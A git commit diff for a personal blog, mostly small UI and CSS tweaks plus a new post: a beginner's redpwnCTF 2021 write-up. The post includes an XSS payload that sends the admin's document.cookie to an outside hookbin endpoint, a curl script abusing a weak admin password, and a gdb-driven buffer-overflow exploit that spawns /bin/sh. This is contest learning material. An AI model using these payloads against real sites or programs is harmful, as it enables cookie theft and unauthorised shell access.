aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--components/navbar.tsx27
-rw-r--r--pages/index.tsx6
-rw-r--r--pages/post/[id].tsx2
-rw-r--r--pages/search.tsx2
-rw-r--r--posts/redpwn2021.md407
-rw-r--r--public/img/redpwn2021.pngbin0 -> 10895 bytes
-rw-r--r--styles/code.css3
-rw-r--r--styles/layout.css17
8 files changed, 447 insertions, 17 deletions
diff --git a/components/navbar.tsx b/components/navbar.tsx
index b5549c0..acbec40 100644
--- a/components/navbar.tsx
+++ b/components/navbar.tsx
@@ -1,8 +1,8 @@
import { CSSProperties, ReactNode } from 'react';
import HomeRoundedIcon from '@material-ui/icons/HomeRounded';
-import SearchRoundedIcon from '@material-ui/icons/SearchRounded';
import MenuIcon from '@material-ui/icons/Menu';
+import SearchRoundedIcon from '@material-ui/icons/SearchRounded';
export function NavbarItem(props: {
icon?: ReactNode;
@@ -31,7 +31,7 @@ export function NavbarItem(props: {
export default function Navbar(props: {
page?: string;
}) {
- return <div className="globalLinks" style={{ marginBottom: 24 }}>
+ return <div className='globalLinks' style={{ marginBottom: 24 }}>
<NavbarItem
active={props.page == 'home'}
icon={<HomeRoundedIcon />}
@@ -50,14 +50,21 @@ export default function Navbar(props: {
}
export function MobileNavbar() {
- return <div className="mobileNav">
- <a className="home button small" href="/"><HomeRoundedIcon /></a>
- <a className="search button small" href="/search"><SearchRoundedIcon/></a>
- <div className="mainButton button" onClick={() => {
- document.getElementsByClassName("mobileNav")[0].classList.toggle("open");
- document.getElementsByClassName("navAreaWrapper")[0].classList.toggle("navVisible");
- }}>
- <MenuIcon style={{ "fill": "var(--oxford-blue)" }} />
+ return <div className='mobileNav'>
+ <a className='home button small' href='/'>
+ <HomeRoundedIcon />
+ </a>
+ <a className='search button small' href='/search'>
+ <SearchRoundedIcon />
+ </a>
+ <div
+ className='mainButton button'
+ onClick={() => {
+ document.getElementsByClassName('mobileNav')[0].classList.toggle('open');
+ document.getElementsByClassName('navAreaWrapper')[0].classList.toggle('navVisible');
+ }}
+ >
+ <MenuIcon style={{ 'fill': 'var(--oxford-blue)' }} />
</div>
</div>;
}
diff --git a/pages/index.tsx b/pages/index.tsx
index 7f4c5fe..b8d10bc 100644
--- a/pages/index.tsx
+++ b/pages/index.tsx
@@ -1,7 +1,7 @@
import Button from '../components/button';
import PostCard from '../components/card';
import Chapters, { chapter } from '../components/chapters';
-import Navbar, { NavbarItem, MobileNavbar } from '../components/navbar';
+import Navbar, { MobileNavbar, NavbarItem } from '../components/navbar';
import Seperator from '../components/seperator';
import { ArticleMeta, getStaticProps as getBlogPage, RenderedArticle } from './post/[id]';
import { PostsInfo } from './search';
@@ -51,7 +51,7 @@ export default function Home(props: {
/>
</div>
</div>
- <MobileNavbar/>
+ <MobileNavbar />
<div className='contentWrapper'>
{props.posts.map((post, index) => {
return <>
@@ -61,7 +61,7 @@ export default function Home(props: {
{index == 0 && <>
<h2>Recent posts</h2>
<div className='recentPosts'>
- {posts.posts.slice(0, 4).reverse().map(post => {
+ {posts.posts.reverse().slice(0, 4).map(post => {
return <PostCard post={post} />;
})}
</div>
diff --git a/pages/post/[id].tsx b/pages/post/[id].tsx
index 70f58b9..46606f8 100644
--- a/pages/post/[id].tsx
+++ b/pages/post/[id].tsx
@@ -92,7 +92,7 @@ export default function Post(props: {
<Chapters chapters={props.meta.chapters} />
</div>
</div>
- <MobileNavbar/>
+ <MobileNavbar />
<div className='contentWrapper'>
<RenderedArticle content={props.content} />
</div>
diff --git a/pages/search.tsx b/pages/search.tsx
index b95d70e..6f5d1a7 100644
--- a/pages/search.tsx
+++ b/pages/search.tsx
@@ -149,7 +149,7 @@ export default function SearchPage() {
<Navbar page='search' />
</div>
</div>
- <MobileNavbar/>
+ <MobileNavbar />
<div className='contentWrapper'>
<SearchBar
searchFunction={() => {
diff --git a/posts/redpwn2021.md b/posts/redpwn2021.md
new file mode 100644
index 0000000..39a307f
--- /dev/null
+++ b/posts/redpwn2021.md
@@ -0,0 +1,407 @@
+[meta]: <title> (redpwnCTF 2021)
+[meta]: <subtitle> (A noob's perspective)
+[meta]: <author> (Loek)
+[meta]: <date> (July 13 2021)
+[meta]: <tags> (hacking, CTF)
+[meta]: <cover> (/img/redpwn2021.png)
+
+This is the first 'real' CTF I've participated in. About two weeks ago, a
+friend of mine was stuck on some challenges from the Radbout CTF. This was a
+closed CTF more geared towards beginners (high school students), and only had a
+few challenges which required deeper technical knowledge of web servers and
+programming. Willem solved most of the challenges, and I helped solve 3 more.
+
+Apart from those challenges, basically all my hacking knowledge comes from
+computerphile videos, liveoverflow videos and making applications myself.
+
+## web/pastebin-1
+
+This challenge is a simple XSS exploit. The website that's vulnerable is
+supposed to be a clone of pastebin. I can enter any text into the paste area,
+and it will get inserted as HTML code into the website when someone visits the
+generated link.
+
+The challenge has two sites: one with the pastebin clone, and one that visits
+any pastebin url as the website administrator. The goal of this challenge is
+given by it's description:
+
+> Ah, the classic pastebin. Can you get the admin's cookies?
+
+In JS, you can read all cookies without the `HttpOnly` attribute by reading
+`document.cookie`. This allows us to read the cookies from the admin's browser,
+but now we have to figure out a way to get them sent back to us.
+
+Luckily, there's a free service called [hookbin](https://hookbin.com/) that
+gives you an http endpoint to send anything to, and look at the request
+details.
+
+Combining these two a simple paste can be created:
+
+```html
+<script>
+ var post = new XMLHttpRequest();
+ post.open("post", "https://hookb.in/<endpoint url>");
+ post.send(document.cookie);
+</script>
+```
+
+## crypto/scissor
+
+I wasn't planning on including this one, but it makes use of the excellent
+[CyberChef](https://gchq.github.io/CyberChef/) tool. The flag is given in the
+challenge description, and is encrypted using a ceasar/rot13 cipher. A simple
+python implementation of this cypher is included with the challenge, but I just
+put it into CyberChef and started trying different offsets.
+
+## rev/wstrings
+
+> Some strings are wider than normal...
+
+This challenge has a binary that uses a simple `strcmp` to check the flag. When
+running the program, the following output is visible:
+
+```sh
+# ./wstrings
+Welcome to flag checker 1.0.
+Give me a flag>
+```
+
+My first stategy was running the `strings` utility on the `wstrings` binary,
+but I didn't find the flag. What was interesting to me though was that I also
+couldn't find the prompt text... This immediately made me check for other
+string encodings.
+
+Running the `strings` utility with the `-eL` flag tells `strings` to look for
+32-bit little-endian encoded strings, and lo and behold the flag shows up!
+
+This is because ascii strings are less 'wide' than 32-bit strings:
+
+```
+ --- ascii ---
+
+hex -> 0x68 0x65 0x6c 0x6c 0x6f
+str -> h e l l o
+```
+
+Notice how each character is represented by a single byte each (8 bits) in
+ascii, as opposed to 32-bit characters in 32-bit land.
+
+```
+ --- 32-bit land ---
+
+hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f
+str -> h e l l o
+```
+
+I think 32-bit strings also have practical use for things like non-english
+texts such as hebrew, chinese or japanese. Those characters take up more space
+anyways, and you would waste less space by not using unicode escape characters.
+
+## web/secure
+
+> Just learned about encryptionโ€”now, my website is unhackable!
+
+This challenge is pretty simple if you know some of JS's quirks. Right at the
+top of the file is an sqlite3 expression in JS:
+
+```js
+////////
+db.exec(`INSERT INTO users (username, password) VALUES (
+ '${btoa('admin')}',
+ '${btoa(crypto.randomUUID)}'
+)`);
+```
+
+This section of code immediately jumped out to me because I noticed that
+`crypto.randomUUID` wansn't actually being called.
+
+Because the 'random uuid' is being fed into `btoa()` it becomes a base64
+encoded string. However, `btoa()` also expects a string as input. Because every
+object in JS has a `.toString()` method, when you pass it into a function
+expecting another type, JS will happily convert it for you without warning.
+
+This means that the admin's password will always be a base64-encoded version of
+`crypto.randomUUID`'s source code. We can get that base64-encoded source code
+by running the following in a NodeJS REPL:
+
+```js
+// import file system and crypto modules
+var writeFileSync = require('fs').writeFileSync;
+var crypto = require('crypto');
+
+// write source to file
+writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8');
+```
+
+I made a simple shell script that calls cURL with the base64-encoded
+parameters, and decodes the url-encoded flag afterwards:
+
+```sh
+#!/bin/sh
+
+# https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell
+function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; }
+
+urldecode $(curl -sX POST \
+ -d "username=$(printf 'admin' | base64)" \
+ -d "password=$(cat ./randomUUID.js)" \
+ https://secure.mc.ax/login)
+```
+
+## crypto/baby
+
+> I want to do an RSA!
+
+This challenge is breaking RSA. It only works because the `n` parameter is
+really small.
+
+Googling for 'rsa decrypt n e c' yields
+[this](https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c)
+stackoverflow result, which links to
+[dcode.fr](https://www.dcode.fr/rsa-cipher). The only thing left to do is
+calculate `p` and `q`, which can be done using [wolfram
+alpha](https://wolframalpha.com/).
+
+## pwn/beginner-generic-pwn-number-0
+
+> rob keeps making me write beginner pwn! i'll show him...
+>
+> `nc mc.ax 31199`
+
+This was my first interaction with `gdb`. It was.. painful. After begging for
+help in the redpwnCTF discord server about another waaaay harder challenge, an
+organizer named asphyxia pointed me towards [gef](https://github.com/hugsy/gef)
+which single-handedly saved my sanity during the binary exploitation
+challenges.
+
+The first thing I did was use [iaito](https://github.com/radareorg/iaito) to
+look at a dissassembly graph of the binary. Iaito is a graphical frontend to
+the radare2 reverse engineering framework, and I didn't feel like learning two
+things at the same time, so that's why I used it. While it's very
+user-friendly, I didn't look into reverse engineering tools very much, and
+didn't realise that iaito is still in development. Let's just say I ran into
+some issues with project saving so I took lots of unnecessary repeated steps.
+
+After trying to make sense of assembly code after just seeing it for the first
+time, I instead decided looking at the source code would be a better idea since
+I actually know c.
+
+```c
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+const char *inspirational_messages[] = {
+ "\"๐˜ญ๐˜ฆ๐˜ต๐˜ด ๐˜ฃ๐˜ณ๐˜ฆ๐˜ข๐˜ฌ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ต๐˜ณ๐˜ข๐˜ฅ๐˜ช๐˜ต๐˜ช๐˜ฐ๐˜ฏ ๐˜ฐ๐˜ง ๐˜ญ๐˜ข๐˜ด๐˜ต ๐˜ฎ๐˜ช๐˜ฏ๐˜ถ๐˜ต๐˜ฆ ๐˜ค๐˜ฉ๐˜ข๐˜ญ๐˜ญ ๐˜ธ๐˜ณ๐˜ช๐˜ต๐˜ช๐˜ฏ๐˜จ\"",
+ "\"๐˜ฑ๐˜ญ๐˜ฆ๐˜ข๐˜ด๐˜ฆ ๐˜ธ๐˜ณ๐˜ช๐˜ต๐˜ฆ ๐˜ข ๐˜ฑ๐˜ธ๐˜ฏ ๐˜ด๐˜ฐ๐˜ฎ๐˜ฆ๐˜ต๐˜ช๐˜ฎ๐˜ฆ ๐˜ต๐˜ฉ๐˜ช๐˜ด ๐˜ธ๐˜ฆ๐˜ฆ๐˜ฌ\"",
+ "\"๐˜ฎ๐˜ฐ๐˜ณ๐˜ฆ ๐˜ต๐˜ฉ๐˜ข๐˜ฏ 1 ๐˜ธ๐˜ฆ๐˜ฆ๐˜ฌ ๐˜ฃ๐˜ฆ๐˜ง๐˜ฐ๐˜ณ๐˜ฆ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ค๐˜ฐ๐˜ฎ๐˜ฑ๐˜ฆ๐˜ต๐˜ช๐˜ต๐˜ช๐˜ฐ๐˜ฏ\"",
+};
+
+int main(void)
+{
+ srand(time(0));
+ long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *));
+ char heartfelt_message[32];
+
+ setbuf(stdout, NULL);
+ setbuf(stdin, NULL);
+ setbuf(stderr, NULL);
+
+ puts(inspirational_messages[inspirational_message_index]);
+ puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
+ puts("can you write me a heartfelt message to cheer me up? :(");
+
+ gets(heartfelt_message);
+
+ if(inspirational_message_index == -1) {
+ system("/bin/sh");
+ }
+}
+```
+
+After looking at this source things became a lot clearer, because the only
+input you can actually control is recieved from `gets(...);`
+
+Now comes the hard part: doing it, but in assembly!
+
+Some recources you should consume before attempting binary exploitation would
+be [computerphile's video on buffer
+overflows](https://www.youtube.com/watch?v=1S0aBV-Waeo) and
+[cheat.sh/gdb](https://cheat.sh/gdb) for some basic gdb commands. The rest of
+this section assumes you know the basics of both buffer overflows and gdb.
+
+First, let's print a dissassembly of the `int main()` function:
+
+```
+(gdb) disas main
+Dump of assembler code for function main:
+ 0x000000000040127c <+134>: call 0x4010a0 <puts@plt>
+ 0x0000000000401281 <+139>: lea rdi,[rip+0xec8] # 0x402150
+ 0x0000000000401288 <+146>: call 0x4010a0 <puts@plt>
+ 0x000000000040128d <+151>: lea rdi,[rip+0xf1c] # 0x4021b0
+ 0x0000000000401294 <+158>: call 0x4010a0 <puts@plt>
+ 0x0000000000401299 <+163>: lea rax,[rbp-0x30]
+ 0x000000000040129d <+167>: mov rdi,rax
+ 0x00000000004012a0 <+170>: call 0x4010f0 <gets@plt>
+ 0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
+ 0x00000000004012aa <+180>: jne 0x4012b8 <main+194>
+ 0x00000000004012ac <+182>: lea rdi,[rip+0xf35] # 0x4021e8
+ 0x00000000004012b3 <+189>: call 0x4010c0 <system@plt>
+ 0x00000000004012b8 <+194>: mov eax,0x0
+ 0x00000000004012bd <+199>: leave
+ 0x00000000004012be <+200>: ret
+End of assembler dump.
+```
+
+This isn't the full output from gdb, but only the last few lines. A few things
+should immediately stand out: the 3 `<puts@plt>` calls, and right after the
+call to `<gets@plt>`. These are the assembly equivalent of:
+
+```c
+puts(inspirational_messages[inspirational_message_index]);
+puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
+puts("can you write me a heartfelt message to cheer me up? :(");
+
+gets(heartfelt_message);
+```
+
+Since I didn't see any reference to a flag file being read, I assumed that the
+`system("/bin/sh")` call is our main target, so let's see if we can find that
+in our assembly code. There's a call to `<system@plt>` at `<main+189>`, and
+there's other weird `cmp`, `jne` and `lea` instructions before. Let's figure
+out what those do!
+
+After some stackoverflow soul searching, I found out that the `cmp` and `jne`
+are assembly instructions for compare, and jump-if-not-equal. They work like
+this:
+
+```asm6502
+; cmp compares what's in the $rbp register to 0xffffffffffffffff
+; and turns on the ZERO flag if they're equal
+ 0x004012a5 <+0>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
+
+; jne checks if the ZERO flag is on,
+; and if it is it jumps (in this case) to 0x4012b8
+โ”Œ--0x004012aa <+1>: jne 0x4012b8 <main+194>
+โ”‚; we can safely ignore the `lea` instruction as it doesn't impact our pwn
+โ”‚ 0x004012ac <+2>: lea rdi,[rip+0xf35] # 0x4021e8
+โ”‚
+โ”‚; the almighty syscall
+โ”‚ 0x004012b3 <+3>: call 0x4010c0 <system@plt>
+โ”‚
+โ”‚; from here on the program exits without calling /bin/sh
+โ””->0x004012b8 <+4>: mov eax,0x0
+ 0x004012bd <+5>: leave
+ 0x004012be <+6>: ret
+```
+
+The program checks if there's `0xffffffffffffffff` in memory `0x8` bytes before
+the `$rbp` register. The program allocates 32 bytes of memory for our heartfelt
+message, but it continues reading even if our heartfelt message is longer than
+32 bytes. Let's see if we can overwrite that register >:)
+
+Let's set a breakpoint after the `<gets@plt>` call in gdb, and run the program
+with 40 bytes of `0x61` ('a')
+
+```
+(gdb) break *0x00000000004012a5
+Breakpoint 1 at 0x4012a5
+
+(gdb) run < <(python3 -c "print('a' * 40)")
+```
+
+I'm using the `run` command with `<` and `<()` to pipe the output of python
+into the program's `stdin`. It's unnecessary at this stage because there's an
+'a' key on my keyboard, but if we were to send raw bytes, this would make it a
+lot easier.
+
+I'm also using [gef](https://github.com/hugsy/gef) so I get access to a command
+called `context` which prints all sorts of information about registers, the
+stack and a small dissassembly window. I won't show it's output here, but it
+was an indispensable tool that you should install nonetheless.
+
+Let's print the memory at `[$rbp - 0x8]`:
+
+```
+(gdb) x/8gx $rbp - 0x8
+0x7fffffffd758: 0x0000000000000000 0x0000000000000000
+0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858
+0x7fffffffd778: 0x0000000100000064 0x00000000004011f6
+0x7fffffffd788: 0x0000000000001000 0x00000000004012c0
+```
+
+Hmmm, no overwriteage yet. Let's try 56 bytes instead:
+
+```
+(gdb) run < <(python3 -c "print('a' * 56)")
+(gdb) x/8gx $rbp - 0x8
+0x7fffffffd758: 0x6161616161616161 0x6161616161616161
+0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858
+0x7fffffffd778: 0x0000000100000064 0x00000000004011f6
+0x7fffffffd788: 0x0000000000001000 0x00000000004012c0
+(gdb) x/1gx $rbp - 0x8
+0x7fffffffd758: 0x6161616161616161
+```
+
+Jackpot! We've overwritten 16 bytes of the adress that the `cmp` instruction
+reads. Let's try setting it to `0xff` instead, so we get a shell. Python 3 is
+not that great for binary exploitation, so the code for this is a little bit
+ugly, but if it works, it works!
+
+```
+(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)")
+(gdb) x/1gx $rbp - 0x8
+0x7fffffffd758: 0xffffffffffffffff
+```
+
+Now let's let execution continue as normal by using the `continue` command:
+
+```
+(gdb) continue
+Continuing.
+[Detaching after vfork from child process 22950]
+[Inferior 1 (process 22947) exited normally]
+```
+
+This might seem underwhelming, but our explit works! A child process was
+spawned, and as a bonus, we didn't get any segmentation faults! The reason we
+don't get an interactive shell is because we used python to pipe input into the
+program which makes it non-interactive.
+
+At this point I was about 12 hours in of straight gdb hell, and I was very
+happy to see this shell. After discovering this, I immediately tried it outside
+the debugger and was dissapointed to see that my exploit didn't work. After a
+small panick attack I found out this was because of my environment variables.
+You can launch an environment-less shell by using the `env -i sh` command:
+
+```
+ฮป generic โ†’ ฮป git master* โ†’ env -i sh
+sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0
+"๐˜ญ๐˜ฆ๐˜ต๐˜ด ๐˜ฃ๐˜ณ๐˜ฆ๐˜ข๐˜ฌ ๐˜ต๐˜ฉ๐˜ฆ ๐˜ต๐˜ณ๐˜ข๐˜ฅ๐˜ช๐˜ต๐˜ช๐˜ฐ๐˜ฏ ๐˜ฐ๐˜ง ๐˜ญ๐˜ข๐˜ด๐˜ต ๐˜ฎ๐˜ช๐˜ฏ๐˜ถ๐˜ต๐˜ฆ ๐˜ค๐˜ฉ๐˜ข๐˜ญ๐˜ญ ๐˜ธ๐˜ณ๐˜ช๐˜ต๐˜ช๐˜ฏ๐˜จ"
+rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
+can you write me a heartfelt message to cheer me up? :(
+sh-5.1$ # another shell :tada:
+```
+
+Now it was time to actually do the exploit on the remote server.
+
+I whipped up the most disgusting and janky python code that I won't go into
+detail about, but here's what is does (in short):
+
+1. Create a thread to capture data from the server and forward it to `stdout`
+2. Capture user commands using `input()` and decide what to do with them on the main thread
+
+The code for this script can be found
+[here](https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py),
+though be warned, it's _very_ janky and you're probably better off copying
+stuff from stackoverflow.
+
+It did help me though and I actually had to copy it for use in the other buffer
+overflow challenge that I solved, so I'll probably refactor it someday for use
+in other CTFs.
+
+## crypto/round-the-bases
+
+## pwn/ret2generic-flag-reader
+
+## rev/bread-making
diff --git a/public/img/redpwn2021.png b/public/img/redpwn2021.png
new file mode 100644
index 0000000..b730ad0
--- /dev/null
+++ b/public/img/redpwn2021.png
Binary files differ
diff --git a/styles/code.css b/styles/code.css
index 5e87615..b78dde2 100644
--- a/styles/code.css
+++ b/styles/code.css
@@ -1,8 +1,7 @@
-.prismjs { padding: 6px; }
-
pre {
background-color: var(--oxford-blue);
border-radius: 6px;
+ padding: 6px;
}
.prismjs code { color: var(--magnolia); }
diff --git a/styles/layout.css b/styles/layout.css
index b4e2a76..5c8cc50 100644
--- a/styles/layout.css
+++ b/styles/layout.css
@@ -71,6 +71,23 @@
display: none;
}
+blockquote {
+ position: relative;
+ padding-left: 12px;
+ font-style: italic;
+ color: var(--heliotrope-gray);
+}
+
+blockquote:before {
+ position: absolute;
+ content: '';
+ top: 0;
+ bottom: 0;
+ left: 0;
+ width: 3px;
+ background-color: var(--cyan-process);
+}
+
@media screen and (max-device-width: 550px) {
.navAreaWrapper {
grid-column: none;